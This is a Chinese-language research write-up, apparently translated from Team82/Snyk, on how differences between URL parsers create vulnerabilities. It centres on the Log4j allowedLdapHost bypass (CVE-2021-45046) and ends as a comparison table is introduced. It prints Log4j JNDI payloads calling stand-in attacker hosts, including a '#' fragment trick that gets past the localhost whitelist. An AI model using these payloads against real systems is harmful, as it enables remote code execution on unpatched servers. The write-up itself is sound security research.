利用 URL 解析混淆

#############################

免责声明：本文仅作收藏学习之用，亦希望大家以遵守《网络安全法》相关法律为前提，切勿用于非法犯罪活动，对于恶意使用造成的损失，和本人及作者无关。

##############################

URL 在许多方面都是我们数字生活的中心，是我们与关键服务、新闻、娱乐等的链接。因此，浏览器、应用程序和服务器如何接收 URL 请求、解析它们和获取请求的资源的任何安全漏洞都可能给用户带来重大问题并损害对 Internet 的信任。

了解 URL 语法

为了理解 URL 解析原语的差异是如何被滥用的，我们首先需要对 URL 的构建方式有一个基本的了解。URL 实际上由五个不同的组件构成：方案、权限、路径、查询和片段。每个组件都扮演着不同的角色，它规定了请求的协议、持有资源的主机、应该获取的确切资源等等。例如，一个 URL 可能如下所示：

多年来，已经有许多定义 URL 的 RFC，每一个都进行更改以尝试增强 URL 标准。但是，更改的频率在 URL 解析器中造成了重大差异，每个解析器都遵循不同的 RFC（为了向后兼容）。事实上，有些人选择完全忽略新的 RFC，而是采用他们认为更能反映实际 URL 应该如何解析的 URL 规范。这创造了一种环境，在这种环境中，一个 URL 解析器可以以不同于另一个的方式解释一个 URL。这可能会导致一些严重的安全问题。

定义 URL 的 RFC 的历史，从 1994 年编写的 RFC 1738 开始，到 2005 年编写的最新 RFC RFC 3986 结束。

最近的示例：Log4j allowedLdapHost 绕过

为了充分了解 URL 解析原语之间的混淆是多么危险，让我们来看看一个滥用这些差异的现实漏洞。2021 年 12 月，流行的 Java 日志库Log4j 库中的远程代码执行漏洞席卷全球。由于 Log4j 的流行，数以百万计的服务器和应用程序受到影响，迫使管理员确定 Log4j 可能在他们的环境中的什么位置以及他们在野外受到概念验证攻击的风险。

虽然我们不会在这里完全解释这个漏洞——它已被广泛报道——但该漏洞的要点源于一个恶意攻击者控制的字符串，每当它被应用程序记录时就会被评估，从而导致 JNDI（Java 命名和目录接口）查找连接到攻击者指定的服务器并加载恶意 Java 代码。

触发此漏洞的有效负载可能如下所示：

${jndi:ldap://attacker.com:1389/a}

如果此字符串由易受攻击的应用程序记录，则此有效负载将导致将远程类加载到当前 Java 上下文。

Team82 preauth RCE 针对 VMware vCenter ESXi Server，利用 log4j 漏洞

由于该库的流行，以及受此漏洞影响的服务器数量众多，因此引入了许多补丁和对策来修复此漏洞。我们将特别讨论一种对策，该对策旨在阻止任何使用 JNDI 从远程源加载类的尝试。

这种特殊的补救措施是在 JNDI 接口的查找过程中进行的。JNDI 不允许从可能导致远程代码执行的任意远程源进行 JNDI 查找，而是只允许从一组预定义的白名单主机allowedLdapHost 进行查找，默认情况下仅包含localhost。这意味着即使评估了攻击者给定的输入并进行了 JNDI 查找，如果给定主机不在白名单集中，查找过程也会失败。因此，不会加载攻击者托管的类，并且该漏洞变得毫无意义。

但是，在此修复后不久，发现了绕过此缓解措施 ( CVE-2021-45046 )，这再次允许远程 JNDI 查找并允许利用该漏洞以实现 RCE。我们来分析一下bypass，如下：

${jndi:ldap://127.0.0.1#.evilhost.com:1389/a}

正如我们所看到的，这个有效载荷再次包含一个 URL，但是权限；URL 的组件（主机）似乎不规则，包含两个不同的主机：127.0.0.1和evilhost.com。事实证明，这正是旁路所在。这种绕过源于这样一个事实，即在 JNDI 查找过程中使用了两个不同的 (!) URL 解析器，一个解析器用于验证 URL，另一个用于获取它，并且取决于每个解析器如何处理片段部分 (#) URL，权限也发生了变化。

为了验证 URL 的主机是否被允许，使用了 Java 的URI类，它解析 URL，提取主机，并检查主机是否在允许主机的白名单上。事实上，如果我们使用 Java 的 URI 解析这个 URL，我们会发现 URL 的主机是127.0.0.1，它包含在白名单中。但是，在某些操作系统（主要是 macOS）和特定配置上，当 JNDI 查找进程获取此 URL 时，它不会尝试从127.0.0.1获取它，而是向127.0.0.1#.evilhost.com发出请求。这意味着虽然这个恶意负载会绕过 allowedLdapHost localhost 验证（由 URI 解析器完成），但它仍会尝试从远程位置获取类。

这种绕过展示了 URL 解析器之间的微小差异如何产生巨大的安全问题和现实生活中的漏洞。

Team82-Snyk 联合研究成果

在我们的分析过程中，我们研究了以下用多种语言编写的库和工具：urllib (Python)、urllib3 (Python)、rfc3986 (Python)、httptools (Python)、curl lib (cURL)、Wget、Chrome (Browser )、Uri (.NET)、URL (Java)、URI (Java)、parse_url (PHP)、url (NodeJS)、url-parse (NodeJS)、net/url (Go)、uri (Ruby) 和URI (Perl ）。

作为我们分析的结果，我们能够识别和分类大多数 URL 解析器出现意外行为的五种不同场景：

• 方案混乱：涉及方案缺失或格式错误的 URL 的混乱

• 斜杠混淆：涉及包含不规则斜杠数量的 URL 的混淆

• 反斜杠混淆：涉及包含反斜杠 () 的 URL 的混淆

• URL-Encoded Data Confusion：涉及包含 URL 编码数据的 URL 的混淆

• Scheme Mixup：涉及在没有特定于方案的解析器的情况下解析属于某个方案的 URL 的混淆

我们用来绕过流行的第三方开源软件 (OSS) 库的安全检查以查找开放重定向漏洞的混淆示例。

使用这五个类别作为指导，我们创建了下表，展示了不同 URL 解析器之间的差异：